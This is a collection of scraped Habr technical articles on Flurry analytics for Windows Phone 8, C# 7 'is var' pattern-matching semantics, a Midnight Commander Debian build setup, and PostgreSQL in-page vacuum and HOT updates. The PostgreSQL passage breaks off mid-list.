Для того, чтобы сделать предложение, не обязательно применять навыки программирования. Можно использовать и другие увлечения и хобби. К примеру, соединить LEGO и Звездные войны.
А один поклонник Futurama сделал соответствующую маску, сел перед своей избранницей и предложил руку и сердце… в бинарном коде. Наверное, его дама очень терпелива.
Людей может объединять увлечение самыми разными вещами — например, электроникой. Билл Портер и Мара Тачмэн учились на факультете проектирования электрических систем. Студенческая любовь не угасла и после получения дипломов, и некоторое время спустя Билл сделал предложение, заказав кастомную печатную плату.
А вот мужчина-физик решил сделать предложение женщине-физику, с которой встречается уже семь лет, написав шуточную исследовательскую работу на тему «Взаимодействие двух тел: многолетнее исследование», выдержанную в стилистике научных публикаций. И в заключение (глава 3) сделал предложение.
В общем, проявляйте фантазию. Главное — искренность и чувства. И напоследок: мы не смогли пройти мимо этих замечательных колец, которые оценят все фанаты Звездных войн:
P.S. Если будете делать предложение публично, будьте готовы к тому, что вам могут и отказать:
Но если все пройдет удачно, то вот вам свадебный листинг:
Что может выразить счастье лучше, чем хорошая функция? | https://habr.com/ru/post/384319/ | null | ru | null |
# Статистика и аналитика для мобильного приложения: используем Flurry в Windows Phone 8
Разработка и продвижение сравнительно серьезных мобильных приложений практически невозможна без анализа того, что делает пользователь в вашем приложении, из какого источника он произвел установку и анализа различных статистических параметров в магазине приложений. На сегодняшний день существует три основных направления в аналитике мобильных приложений:
* Трекинг источников установок (такие инструменты как [Mobile App Tracking](http://www.mobileapptracking.com/), [AppsFlyer](http://www.appsflyer.com/) и [ADXtracking](http://adxtracking.com/), используются, как правило, для продвижения приложений);
* Аналитика внутри приложения (наиболее известные инструменты – это [Flurry](http://www.flurry.com/), [Google Analytics](http://www.google.com/analytics/mobile/), [Яндекс.Метрика](http://appmetrika.yandex.ru/) и [Mixpanel](http://mixpanel.com/), которые предоставляют возможность наблюдать за поведением пользователей внутри мобильного приложения, что позволяет принять решение о дальнейшем развитии вашего продукта);
* Сбор статистики из магазинов приложений (самые популярные сервисы – это [App Annie](http://www.appannie.com/) и [Distimo](http://www.distimo.com/), позволяют отслеживать позицию в сторе как вашего приложения, так и конкурентов).
Поскольку данная статья предназначена для разработчиков, речь в ней пойдет о том, как внедрить аналитику в приложение Windows Phone. В качестве системы аналитики будет рассмотрена Flurry Analytics.
#### Описание сервиса
Flurry – самый популярный инструмент, в первую очередь благодаря тому, что он полностью бесплатный, доступен для всех основных мобильных платформ и имеет достаточно мощный функционал. Рассмотрим основные показатели, которые предоставляет данный инструмент:
* Количество новых и активных пользователей;
* Количество сессий и их длина;
* Частота использования приложения;
* Статистика сбоев;
* Аудитория приложения (пол, возраст, язык, география использования);
* Информация о версиях продукта и устройствах;
* События внутри приложения;
* Навигация по экранам и т.д.
Все вопросы о том, что делать с этими данными, оставим аналитикам, нас же интересует, что нужно сделать разработчику, чтобы эти данные стали доступны.
#### Интеграция Flurry SDK в приложение Windows Phone
После создания аккаунта на сайте <https://dev.flurry.com> у вас появится возможность создать новое приложение для любой из основных платформ.
Для этого Вам потребуется указать имя приложения и категорию, к которой оно относится.
Для приложения будет сгенерирован уникальный ключ и станет доступна загрузка Flurry SDK. Можно приступать к разработке!
Первым делом нужно добавить в проект ссылку на сборку FlurryWP8SDK.dll и внести некоторые изменения в манифест приложения. А именно, установить ID\_CAP\_NETWORKING для передачи данных аналитики на сервер Flurry и ID\_CAP\_IDENTITY\_DEVICE для доступа к информации об устройстве.
Чтобы начать сбор аналитики, Вам потребуется при старте приложения запустить новую сессию:
```
private void Application_Launching(object sender, LaunchingEventArgs e)
{
FlurryWP8SDK.Api.StartSession("Your API Key");
}
```
В качестве параметра функция принимает уникальный ключ Вашего приложения. Также следует запускать новую сессию после повторной активации приложения:
```
private void Application_Activated(object sender, ActivatedEventArgs e)
{
FlurryWP8SDK.Api.StartSession("Your API Key");
}
```
При этом вся аналитика будет отслеживаться в рамках старой сессии. Однако, если приложение активируется после более чем 10 секунд, то создается новая сессия и аналитика будет отслеживаться уже в рамках новой сессии. Чтобы изменить срок, в течение которого старый сеанс может быть возобновлен, Вы можете использовать функцию SetSessionContinueSeconds, передав ей в качестве параметра нужное количество секунд:
```
private void Application_Deactivated(object sender, DeactivatedEventArgs e)
{
FlurryWP8SDK.Api.SetSessionContinueSeconds(60);
}
```
Существует также функция принудительного завершения сессии, однако вызывать ее не обязательно, так как она по умолчанию уже связана с закрытием приложения. Но если Вам в каком-то случае потребуется завершить текущую сессию это можно сделать так же просто:
```
private void Application_Closing(object sender, ClosingEventArgs e)
{
FlurryWP8SDK.Api.EndSession();
}
```
#### Регистрация сбоев приложения
При обработке исключений, как правило, мы ожидаем определённый тип ошибок, но иногда возникают непредвиденные ситуации и приложение просто “падает”. В этом случае получить информацию о необработанном исключении – бесценно! Flurry предоставляет нам такую возможность:
```
public App()
{
UnhandledException += Application_UnhandledException;
}
private void Application_UnhandledException(object sender, ApplicationUnhandledExceptionEventArgs e)
{
FlurryWP8SDK.Api.LogError("Some error", e.ExceptionObject);
}
```
В качестве параметров функция LogError принимает сообщение об ошибке и само исключение.
#### Регистрация событий
Чтобы отслеживать пользовательские события, которые происходят во время сеанса, следует воспользоваться функцией LogEvent. Она имеет ряд перегрузок, это обусловлено тем, что Flurry поддерживает несколько типов событий:
* Обычные события (events);
* События с заданными параметрами (event parameters);
* События с измеряемой продолжительностью (timed event).
```
protected override void OnNavigatedFrom(NavigationEventArgs e)
{
// Завершение события
FlurryWP8SDK.Api.EndTimedEvent("Timed event");
// Завершение события с параметрами
FlurryWP8SDK.Api.EndTimedEvent("Timed event with parameters");
}
protected override void OnNavigatedTo(NavigationEventArgs e)
{
// Обычное событие
FlurryWP8SDK.Api.LogEvent("Simple event");
var list = new List
{
new FlurryWP8SDK.Models.Parameter("Parameter name", "Parameter value")
};
// Событие с заданными параметрами
FlurryWP8SDK.Api.LogEvent("Simple event with parameters", list);
// Событие с измеряемой продолжительностью
FlurryWP8SDK.Api.LogEvent("Timed event", true);
// Событие с измеряемой продолжительностью и параметрами
FlurryWP8SDK.Api.LogEvent("Timed event with parameters ", list, true);
}
```
Как видно из кода при регистрации обычного события Вам просто надо передать уникальный идентификатор этого события в виде строки. В случае параметризованного события добавляется список параметров, который требуется связать с событием. Если же Вы хотите создать timed event (к примеру, определить, как долго пользователь находился на определенной странице, как это сделано в примере), Вам нужно передать true и когда это потребуется, завершить событие вызовом функции EndTimedEvent, передав ей тот же самый идентификатор события. Так же существует возможность связать с timed event список параметров.
Все достаточно просто, однако, есть ряд ограничений:
* Каждый проект поддерживает не более 300 событий;
* Каждое событие может иметь не более 10 параметров;
* Уникальный идентификатор события, имя параметра и значения параметра не может превышать 255 символов.
#### Конфигурация Flurry
В дополнение Flurry SDK имеет несколько методов конфигурации. Их следует вызывать (хотя и не обязательно) после запуска новой сессии (вызова метода StartSession).
```
// Устанавливает номер версии аналитических данных
FlurryWP8SDK.Api.SetVersion(string version);
// Устанавливает уникальный идентификатор пользователя
FlurryWP8SDK.Api.SetUserId(string userId);
// Устанавливает возраст пользователя
FlurryWP8SDK.Api.SetAge(int age);
// Устанавливает пол пользователя
FlurryWP8SDK.Api.SetGender(Gender gender);
// Устанавливает текущее местоположение пользователя
FlurryWP8SDK.Api.SetLocation(double latitude, double longitude, float accuracy);
```
#### Продвинутый сценарий
Если при регистрации событий Вас не устраивает каждый раз в коде вызывать метод LogEvent, можно пойти на небольшую хитрость — создать вспомогательный класс для Flurry:
```
public class FlurryBehavior : Behavior
{
public string EventMessage
{
get { return (string)GetValue(EventMessageProperty); }
set { SetValue(EventMessageProperty, value); }
}
public static readonly DependencyProperty EventMessageProperty = DependencyProperty.Register("EventMessage",
typeof (string), typeof (FlurryBehavior), new PropertyMetadata(string.Empty));
protected override void OnAttached()
{
base.OnAttached();
AssociatedObject.Tap += OnTap;
}
protected override void OnDetaching()
{
base.OnDetaching();
AssociatedObject.Tap -= OnTap;
}
private void OnTap(object sender, GestureEventArgs gestureEventArgs)
{
if (string.IsNullOrEmpty(EventMessage)) return;
FlurryWP8SDK.Api.LogEvent(EventMessage);
}
}
```
Здесь мы просто подписываемся на событие Tap элемента управления и при возникновении данного события регистрируем событие на сервере Flurry. Пример использования этого класса можно посмотреть на стандартном шаблоне Panorama App:
```
xmlns:i="clr-namespace:System.Windows.Interactivity;assembly=System.Windows.Interactivity"
xmlns:behaviors="clr-namespace:FlurryApp"
...
```
Теперь, при тапе на элементе списка у нас будет регистрироваться событие без лишнего кода.
Данный пример элементарный, но его можно улучшить:
* добавить передачу параметров;
* уникальные идентификаторы событий вынести в ресурсы;
* отслеживать события навигации по страницам приложения и т.д.
И не забудьте, что для работы данного примера, потребуется подключить к проекту сборку System.Windows.Interactivity.
#### Выводы
Итак, Flurry Analytics умеет измерять наиболее популярные аналитические показатели, большинство из которых можно просматривать без дополнительной настройки, что называется “из коробки”. Сервис предоставляется бесплатно, а интеграция в приложение очень проста. В качестве недостатка можно отметить не полную детализацию отчетов о сбоях в приложении и то, что обновление аналитических данных на портале требует некоторого времени (хотя это актуально и для других систем).
Используя этот инструмент в реальном проекте [Тинькофф Мобильный Кошелек](http://www.windowsphone.com/s?appid=3c198ea0-6f43-41f3-ad0f-c026397063ac), на основании статистики переходов пользователей внутри приложения, мы решили отказаться от раздела “Пополнение наличными” ввиду его низкой востребованности (убедившись, что пользователи понимают, где этот раздел находится, но просто не видят в нем необходимости). В то же время раздел “Перевод на новую банковскую карту” сейчас находится достаточно глубоко, а является одним из самых популярных. В новой версии он будет ближе к основной странице и поменяет тематический раздел. | https://habr.com/ru/post/240315/ | null | ru | null |
# Исправлять ли unexpected behavior в C# 7 или оставить как есть, усложнив синтаксис языка для компенсации?
В языке C# с давних времён есть оператор 'is' назначение которого довольно ясное
```
if (p is Point) Console.WriteLine("p is Point");
else Console.WriteLine("p is not Point or null");
```
Кроме того его можно использовать для проверок на null
```
if (p is object) Console.WriteLine("p is not null");
if (p is null) Console.WriteLine("p is null");
```
В C# 7 анонсирована новая возможность pattern-matching
```
if (GetPoint() is Point p) Console.WriteLine($"X={p.X} Y={p.Y}");
else Console.WriteLine("It is not Point.");
if (GetPoint() is var p) Console.WriteLine($"X={p.X} Y={p.Y}");
else Console.WriteLine("It is not Point.");
```
Вопрос, что произойдёт в обоих случаях, если метод вернёт 'null'? Вы уверены?
Возможно, вы уже сталкивались с этой странной особенностью языка, поэтому она не окажется для вас сюрпризом, но недавно я был крайне удивлён (спасибо JetBrains за подсказку!) тем, что выражение 'GetPoint() is var p' всегда истинно, а 'GetPoint() is AnyType p' нет.
Всегда считал 'var' неким белым ящиком, который позволяет не указывать тип переменной явно, если её он может быть выведен компилятором [type inference].
В C# 7 незаметным образом, на мой взгляд, просочилась подмена значения оператора 'var', теперь это может значить что-то ещё…
Конечно же, я задался вопросом, почему было принято именно такое решение, и спросил об этом у парней в [официальном репозитории на гихабе](https://github.com/dotnet/csharplang/issues), где предлагают и обсуждают нововведения языка, однако чёткого аргументированного ответа с примерами кода, почему нужно было делать именно так, а не иначе, так и не получил. Ответы ограничивались лишь тем, что данное решение было принято в результате длительных дискуссий, однако по предлагаемым ссылкам значимых аргументов в защиту принятого решения мне найти, к сожалению, так и не удалось, оно просто постулировалось.
Но можно ли бы было сделать лучше? Взгляните.
```
public static class LanguageExtensions
{
public static bool IsNull(this object o) => o is null;
public static bool Is(this object o) => o is T;
public static bool Is(this T o) => o != null; /\* or same 'o is T' \*/
public static bool Is(this T o, out T x) => (x = o) != null; /\* or same '(x = o) is T' \*/
/\* .... \*/
public static T As(this object o) where T : class => o as T;
public static T Of(this object o) => (T) o;
}
public Point GetPoint() => null; // new Point { X = 123, Y = 321 };
if (GetPoint().Is(out AnyType p) Console.WriteLine($"X={p.X} Y={p.Y}");
else Console.WriteLine("It is not Point.");
if (GetPoint().Is(out var p) Console.WriteLine("o is Any Type");
else Console.WriteLine("It is not Point.");
```
На мой взгляд, всё довольно-таки очевидно и удобно.
Но хуже всего то, на мой взгляд, что для компенсации недостатков принятого решения предлагается ввести новый синтаксис!
```
if (GetPoint() is AnyType p) Console.WriteLine($"X={p.X} Y={p.Y}");
else Console.WriteLine("It is not Point.");
if (GetPoint() is {} p) Console.WriteLine("o is Any Type");
else Console.WriteLine("It is not Point.");
if (GetPoint() is var p) Console.WriteLine("Always true");
```
Более того это влияет на синтаксис дальнейшей, ещё не анонсированной, возможности рекурсивного pattern-matching.
Могло бы быть
```
if (GetPoint() is AnyType p { X is int x, Y is int y}) Console.WriteLine($"X={x} Y={y}");
else Console.WriteLine("It is not Point.");
if (GetPoint() is var p { X is int x, Y is int y}) Console.WriteLine($"X={x} Y={y}");
else Console.WriteLine("It is not Point.");
if (GetPoint() is { X is int x, Y is int y}) Console.WriteLine($"X={x} Y={y}");
else Console.WriteLine("It is not Point.");
```
Но предполагается (насколько сам понимаю)
```
if (GetPoint() is AnyType { X is int x, Y is int y} p) Console.WriteLine($"X={p.X} Y={p.Y}");
else Console.WriteLine("It is not Point.");
if (GetPoint() is var { X is int x, Y is int y} p) Console.WriteLine($"X={p.X} Y={p.Y}");
else Console.WriteLine("It is not Point.");
// but
if (GetPoint() is var p) Console.WriteLine($"Always true");
if (GetPoint() is { X is int x, Y is int y} p) Console.WriteLine($"X={p.X} Y={p.Y}");
else Console.WriteLine("It is not Point.");
```
С моей точки зрения, всё выглядит сикось-накось, грядёт очередное «расширение» понятия для блока кода '{ }'.
Но теперь мы подходим к главной проблеме — всегда истинное выражение 'x is var y' уже в релизе, поэтому изменение его поведения является breaking change, на которое пойти теперь почти невозможно по мнению ребят из репозитория.
Очень хорошо понимаю их опасения, но как разработчик, стремящийся к чистоте кода, я готов смириться с даже таким breaking change, ради чистого и ясного синтаксиса языка.
Более того, данное исправление можно произвести наиболее мягко в контексте грядущего функционала для C# 8 [Null Reference Types](https://blogs.msdn.microsoft.com/dotnet/2017/11/15/nullable-reference-types-in-csharp/). Например, у нас есть метод
```
public bool SureThatAlwaysTrue(AnyType item) => item is var x;
```
Если его скомпилировать в C# 8, но уже с тем условием, что выражение может быть 'false', если 'item == null', то поведение метода не изменится, поскольку в контексте C# 8 выражение 'AnyType item' предполагает, что 'item != null' (компилятор не пропускает выражение 'SureThatAlwaysTrue(null)' и отображает warning message в случае 'SureThatAlwaysTrue(null)'). Сообщение можно лишь намеренно убрать с помощью оператора '!' следующим образом 'SureThatAlwaysTrue(null!)' или же переписать метод так
```
public bool SureThatAlwaysTrue(AnyType? item) => item is var x;
```
Проблема breaking change остаётся лишь для Nullable Value Types, которые уже присутствуют в C# 7
```
public bool SureThatAlwaysTrue(int? item) => item is var x;
```
Такой метод даже при наличии warning message нужно будет отрефакторить вручную [breaking change].
Все ключевые моменты я рассказал максимально честно, как сам их понимаю и вижу, поэтому теперь очень интересует ваше мнение как разработчиков: предпочитаете вы всё оставить как есть и мириться в дальнейшем с усложнённым синтаксисом или же готовы принять не столь уж и масштабное breaking change ради сохранения чистоты и ясности языка?
Прежде чем принять решение, хорошо подумайте, поскольку тут есть достаточно веские «за» и «против». Не помешает и более подробное изучение вопроса и соответствующих дискусий.
Для ознакомления:
[Question: what does 'var' mean?](https://github.com/dotnet/csharplang/issues/1191)
Голосовать «за» или «против» следует ниже по ссылке с более детальными предложениями по улучшению синтаксиса языка:
[Pattern-matching rethinking (at C# 8 Nullable Reference Types context)](https://github.com/dotnet/csharplang/issues/1196)
P.S. Также вы можете выразить своё мнение по ряду других предложений:
* [Allow to use single control flow statements into expression bodied members](https://github.com/dotnet/csharplang/issues/1179)
* [Allow type inference for class members with autoinitializers and methods (use «var»/«auto» keywords)](https://github.com/dotnet/csharplang/issues/1181)
* [Add operator «of» for right-side type casting to avoid "(item as Type).Member" anti-pattern and round bracket hell in some cases](https://github.com/dotnet/csharplang/issues/1184) | https://habr.com/ru/post/345102/ | null | ru | null |
# Сборочная среда для проекта Midnight Commander — продолжение
[Начало](http://habrahabr.ru/blogs/linux/128976/)
В [первой части](http://habrahabr.ru/blogs/linux/128976/) я представил новый сервис сборки бинарных пакетов файлового менеджера Midnight Commander для Debian/Ubuntu. В комментариях справедливо указали на недостаток технического описания самой среды и я пообещал, что выложу подробности как только код будет приведен в божеский вид. Прошло две недели, появилось немного времени, чтобы стабилизировать функционал и причесать код (он все еще ужасен, но вроде работает как задумано), так что пора выполнить обещанное.
**Я специально не включаю в топик исходные коды, их немало, и на мой взгляд статья получается перегруженной. Кому интересно, может скачать их с [googlecode](http://code.google.com/p/mc-buildbot/).**
### Сборочная среда
Сборочная среда состоит из нескольких shell-скриптов:
* **contrib/mc-release-builds.sh** — скрипт, который выполняется как задание CRON и управляющий сборкой новых релизов, либо пересборкой уже вышедших.
* **contrib/mc-nightly-builds.sh** — скрипт, который также является заданием CRON и осуществляющий сборку ночных срезов.
* **contrib/prepare-environment.sh** — скрипт, который инициализирует переменные среды, специфичные для моего сервера (в частности экспортируются переменные окружения для работы SSH и GPG агентов)
* **contrib/local-repo-update** — скрипт, которым я обновляю свой репозитарий, сейчас подумываю отказаться от apt-ftparchive и попробовать reprepro.
* **contrib/pbuilder** — конфиги сборочных целей, один из них (contrib/pbuilder/buildbot) используется для подготовки пакета из исходников или GIT.
* **contrib/apt-ftparchive** — мои настройки для работы apt-ftparchive (может кому-то пригодятся)
##### Далее идут скрипты, которые составляют саму сборочную среду:
* **build-mc-from-git.sh** — сборка пакета из исходников или VCS (ядро системы)
* **buildbot.sh** — обертка над предыдущим скриптом, которая является промежуточным звеном между заданиями крона, пользователем и ядром сборочной среды.
* **initial-build.sh** — анахронизм, который остался благодаря моей природной лени. Добавляет отдельного пользователя buildbot в сборочный таргет pbuilder (buildbot).
#### build-mc-from-git.sh
Как я уже упомянул ранее, это наиболее важная часть сборочной среды. Выполняет два вида операций: сборка/пересборка релизов и сборка ночных срезов из GIT. Если была выбрана сборка релиза, то скрипт:
* обновляет из репозитария локальную копию каталога contrib/debian/, который необходим для построения пакета (при сборке пакета не используется dh\_make)
* распаковывает архив с исходниками, который передается скрипту, как один из аргументов вышестоящими скриптами или пользователем.
* проверяет, собираются ли исходники «из коробки». Для этого в каталоге с распакованными исходниками выполняется знакомая многим последовательность действий:
```
[ -x ./autogen.sh ] && ./autogen.sh
./configure --prefix=/usr --sysconfdir=/etc --libexecdir=/usr/lib/mc
make
make install DESTDIR=/tmp/install
```
Если этот этап проходится без ошибок, то дальнейшие проблемы со сборкой пакета говорят о необходимости пересмотреть debian-специфическую часть пакета (каталог contrib/debian/ в VCS)
* копирует в исходники каталог debian/ из локальной копии VCS, проверяет есть ли локальный changelog для версии исходников (если идет сборка новой ревизии пакета, а не новый релиз) и в случае если он существует, то changelog из VCS заменяется локальным.
* икрементирует версию и/или номер ревизии и запускает сборку пакета через вызов dpkg-buildpackage -rfakeroot -us -uc
* проверяет пакет в lintian на предмет соответствия Debian policy. Вывод lintian сохраняется в отдельный файл. (недавно помогло отловить ошибку в man страницах ночных сборок и отправить патч в апстрим)
Сборка ночного среза отличается только тем, что исходники формируются из GIT репозитария и отличается код инкрементирования версии. Если скрипт обнаруживает, что в master ветке репозитария изменений не было, то сборка прерывается.
#### buildbot.sh
Этот скрипт вызывает build-mc-from-git.sh и в случае успешного завершения делает дополнительную проверку бинарного пакета в piuparts и если ошибок нет, то запускает процесс сборки целей (squeeze-i386, squeeze-amd64, natty-i386 и т.д.). После каждой успешной сборки обновляется временная структура репозитария. Если все цели собраны успешно и buildbot.sh был вызван одним из заданий CRON (mc-release-builds.sh или mc-nightly-builds.sh), то запускается скрипт обновления моего репозитария. В этот момент обновляется служебная информация APT, подписываются файлы Release и обновляется серверная копия.
Сейчас полный цикл сборки 8 таргетов занимает чуть больше часа. В будущем возможно расширю таргеты на rpm-based дистрибутивы (насколько я понял, апстрим так и не восстановил нормальную работу предыдущего buildbot'a). Дополнительную инфу или посильный саппорт можно получить на [страничке проекта](http://code.google.com/p/mc-buildbot/). | https://habr.com/ru/post/129989/ | null | ru | null |
# MVCC in PostgreSQL-5. In-page vacuum and HOT updates
Just to remind you, we already discussed issues related to [isolation](https://habr.com/ru/company/postgrespro/blog/467437/), made a digression regarding [low-level data structure](https://habr.com/ru/company/postgrespro/blog/469087/), and then explored [row versions](https://habr.com/ru/company/postgrespro/blog/477648/) and observed how [data snapshots](https://habr.com/ru/company/postgrespro/blog/479512/) are obtained from row versions.
Now we will proceed to two closely connected problems: *in-page vacuum* и *HOT updates*. Both techniques can be referred to optimizations; they are important, but virtually not covered in the documentation.
In-page vacuum during regular updates
=====================================
When accessing a page for either an update or read, if PostgreSQL understands that the page is running out of space, it can do a fast in-page vacuum. This happens in either of the cases:
1. A previous update in this page did not find enough space to allocate a new row version in the same page. Such a situation is remembered in the page header, and next time the page is vacuumed.
2. The page is more than `fillfactor` percent full. In this case, vacuum is performed right away without putting off till next time.
`fillfactor` is a storage parameter that can be defined for a table (and for an index). PostgresSQL inserts of a new row in a page only if the page is less than `fillfactor` percent full. The remaining space is reserved for new tuples that are created as a result of updates. The default value for tables is 100, that is, no space is reserved (and the default value for indexes is 90).
In-page vacuum deletes tuples that are not visible in any snapshot (those that are beyond the transaction horizon of the database, which was discussed [last time](https://habr.com/ru/company/postgrespro/blog/479512/)), but does this strictly within one table page. Pointers to vacuumed tuples are not released since they can be referenced from indexes, and an index is in another page. In-page vacuum never reaches beyond one table page, but works very quickly.
For the same reasons, the free space map does not get updated; this also reserves the extra space for updates rather than for inserts. The visibility map does not get updated either.
The fact that a page can be vacuumed during reads means that a SELECT query can entail changing of pages. This is one more case like this, in addition to a deferred change of hint bits, discussed earlier.
Let's consider an example of how it works. Let's create a table and indexes on both columns.
```
=> CREATE TABLE hot(id integer, s char(2000)) WITH (fillfactor = 75);
=> CREATE INDEX hot_id ON hot(id);
=> CREATE INDEX hot_s ON hot(s);
```
If the `s` column stores only Latin characters, each row version will occupy 2004 bytes plus 24 bytes of a header. We set the `fillfactor` storage parameter to 75%, which reserves just enough space for three rows.
To conveniently look into the contents of the table page, let's recreate an already familiar function by adding two more fields to the output:
```
=> CREATE FUNCTION heap_page(relname text, pageno integer)
RETURNS TABLE(ctid tid, state text, xmin text, xmax text, hhu text, hot text, t_ctid tid)
AS $$
SELECT (pageno,lp)::text::tid AS ctid,
CASE lp_flags
WHEN 0 THEN 'unused'
WHEN 1 THEN 'normal'
WHEN 2 THEN 'redirect to '||lp_off
WHEN 3 THEN 'dead'
END AS state,
t_xmin || CASE
WHEN (t_infomask & 256) > 0 THEN ' (c)'
WHEN (t_infomask & 512) > 0 THEN ' (a)'
ELSE ''
END AS xmin,
t_xmax || CASE
WHEN (t_infomask & 1024) > 0 THEN ' (c)'
WHEN (t_infomask & 2048) > 0 THEN ' (a)'
ELSE ''
END AS xmax,
CASE WHEN (t_infomask2 & 16384) > 0 THEN 't' END AS hhu,
CASE WHEN (t_infomask2 & 32768) > 0 THEN 't' END AS hot,
t_ctid
FROM heap_page_items(get_raw_page(relname,pageno))
ORDER BY lp;
$$ LANGUAGE SQL;
```
Let's also create a function to look into the index page:
```
=> CREATE FUNCTION index_page(relname text, pageno integer)
RETURNS TABLE(itemoffset smallint, ctid tid)
AS $$
SELECT itemoffset,
ctid
FROM bt_page_items(relname,pageno);
$$ LANGUAGE SQL;
```
Let's check how in-page vacuum works. To do this, we insert one row and change it several times:
```
=> INSERT INTO hot VALUES (1, 'A');
=> UPDATE hot SET s = 'B';
=> UPDATE hot SET s = 'C';
=> UPDATE hot SET s = 'D';
```
There are four tuples in the page now:
```
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+----------+-----+-----+--------
(0,1) | normal | 3979 (c) | 3980 (c) | | | (0,2)
(0,2) | normal | 3980 (c) | 3981 (c) | | | (0,3)
(0,3) | normal | 3981 (c) | 3982 | | | (0,4)
(0,4) | normal | 3982 | 0 (a) | | | (0,4)
(4 rows)
```
As expected, we've just exceeded the `fillfactor` threshold. This is clear from the difference between the `pagesize` and `upper` values: it exceeds the threshold equal to 75% of the page size, which makes 6144 bytes.
```
=> SELECT lower, upper, pagesize FROM page_header(get_raw_page('hot',0));
```
```
lower | upper | pagesize
-------+-------+----------
40 | 64 | 8192
(1 row)
```
So, when the page is accessed next time, in-page vacuum must occur. Let's check this.
```
=> UPDATE hot SET s = 'E';
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+-------+-----+-----+--------
(0,1) | dead | | | | |
(0,2) | dead | | | | |
(0,3) | dead | | | | |
(0,4) | normal | 3982 (c) | 3983 | | | (0,5)
(0,5) | normal | 3983 | 0 (a) | | | (0,5)
(5 rows)
```
All dead tuples (0,1), (0,2) and (0,3) are vacuumed away; after that a new tuple (0,5) is added in the freed space.
The tuples that survived vacuuming are physically moved towards high addresses of the page so that all the free space is represented by one continuous area. The values of the pointers are changed accordingly. Thanks to this, no issues arise with the fragmentation of free space in a page.
Pointers to vacuumed tuples cannot be released since they are referenced from the index page. Let's look into the first page of the `hot_s` index (because page zero is occupied by metainformation):
```
=> SELECT * FROM index_page('hot_s',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,1)
2 | (0,2)
3 | (0,3)
4 | (0,4)
5 | (0,5)
(5 rows)
```
We also see the same picture in the other index:
```
=> SELECT * FROM index_page('hot_id',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,5)
2 | (0,4)
3 | (0,3)
4 | (0,2)
5 | (0,1)
(5 rows)
```
You might notice that pointers to table rows follow here in a reverse order, but this makes no difference since all the tuples have the same value: id=1. But in the previous index, pointers are ordered by the values of `s`, and this is essential.
With index access, PostgreSQL can get (0,1), (0,2) or (0,3) as tuple identifiers. It will then try to get the appropriate row version from the table page, but because of the «dead» status of the pointer, PostgreSQL will discover that such a version no longer exists and will ignore it. (Actually, having once discovered that the version of a table row is unavailable, PostgreSQL will change the pointer status in the index page in order not to access the table page anymore.)
It is essential that in-page vacuum works only within one table page and does not vacuum index pages.
HOT updates
===========
Why is it no good to store references to all row versions in the index?
First, for any change of the row, all indexes created for the table have to be updated: once a new version has been created, it needs to be referenced. And we need to do this in any case, even if the fields are changed that are not indexed. This is obviously not very efficient.
Second, indexes accumulate references to historical tuples, which then need to be vacuumed away along with the tuples themselves (we will discuss a bit later how this is done).
Moreover, B-tree in PostgreSQL has the implementation specifics. If an index page does not have sufficient space to insert a new row, the page is divided into two, and all data are distributed between them. This is called a split of a page. However, when rows are deleted, the two index pages are not merged into one. Because of this, the index size may fail to reduce even if a considerable part of the data is deleted.
Naturally, the more indexes are created on a table, the more complexities are encountered.
However, if a value is changed in a column that is not indexed at all, it does not make sense to create an extra B-tree row that contains the same value of the key. This is exactly how the optimization called *HOT update* (Heap-Only Tuple update) works.
During this update, the index page contains only one row, which references the very first version of the row in the table page. And it's already inside the table page, that a chain of tuples is organized:
* Updated rows that are in the chain are labeled with the Heap Hot Updated bit.
* Rows that are not referenced from the index are labeled with Heap Only Tuple bit.
* As usual, row versions are linked through the `ctid` field.
If during index scan, PostgreSQL accesses a table page and finds a tuple labeled as Heap Hot Updated, it understands that it should not stop, but must follow the HOT chain, considering each tuple in it. Certainly, for all the tuples got this way, the visibility is checked prior to returning them to the client.
To observe how a HOT update works, let's delete one index and clear the table.
```
=> DROP INDEX hot_s;
=> TRUNCATE TABLE hot;
```
Now we redo the insert and update of a row.
```
=> INSERT INTO hot VALUES (1, 'A');
=> UPDATE hot SET s = 'B';
```
And this is what we see in the table page:
```
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+-------+-----+-----+--------
(0,1) | normal | 3986 (c) | 3987 | t | | (0,2)
(0,2) | normal | 3987 | 0 (a) | | t | (0,2)
(2 rows)
```
There is a chain of changes in the page:
* The Heap Hot Updated flag indicates that the `ctid` chain must be followed.
* The Heap Only Tuple flag indicates that this tuple is not referenced from indexes.
The chain will grow (within the page) with further changes:
```
=> UPDATE hot SET s = 'C';
=> UPDATE hot SET s = 'D';
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+--------+----------+----------+-----+-----+--------
(0,1) | normal | 3986 (c) | 3987 (c) | t | | (0,2)
(0,2) | normal | 3987 (c) | 3988 (c) | t | t | (0,3)
(0,3) | normal | 3988 (c) | 3989 | t | t | (0,4)
(0,4) | normal | 3989 | 0 (a) | | t | (0,4)
(4 rows)
```
But there is only one reference to the head of the chain in the index:
```
=> SELECT * FROM index_page('hot_id',1);
```
```
itemoffset | ctid
------------+-------
1 | (0,1)
(1 row)
```
To emphasize, HOT updates work in the case where the fields to update are not indexed at all. Otherwise, some index would contain a reference directly to a new row version, and this is incompatible with the concept of this optimization.
The optimization works only within one page, and therefore, an additional walk through the chain does not need access to other pages and does not affect the performance.
In-page vacuum during HOT updates
=================================
Vacuuming during HOT updates is a special, but important case of in-page vacuum.
As before, we've already exceeded the `fillfactor` threshold, so the next update must cause an in-page vacuum. But this time there is a chain of updates in the page. The head of this HOT chain must always remain where it is since it is referenced by the index, while the rest of the pointers can be released: they are known to have no references from the outside.
In order not to touch the head pointer, indirect addressing is used: the pointer referenced by the index — (0,1) in this case — acquires the «redirect» status, which redirects to the appropriate tuple.
```
=> UPDATE hot SET s = 'E';
=> SELECT * FROM heap_page('hot',0);
```
```
ctid | state | xmin | xmax | hhu | hot | t_ctid
-------+---------------+----------+-------+-----+-----+--------
(0,1) | redirect to 4 | | | | |
(0,2) | normal | 3990 | 0 (a) | | t | (0,2)
(0,3) | unused | | | | |
(0,4) | normal | 3989 (c) | 3990 | t | t | (0,2)
(4 rows)
```
Note that:
* Tuples (0,1), (0,2) and (0,3) were vacuumed away.
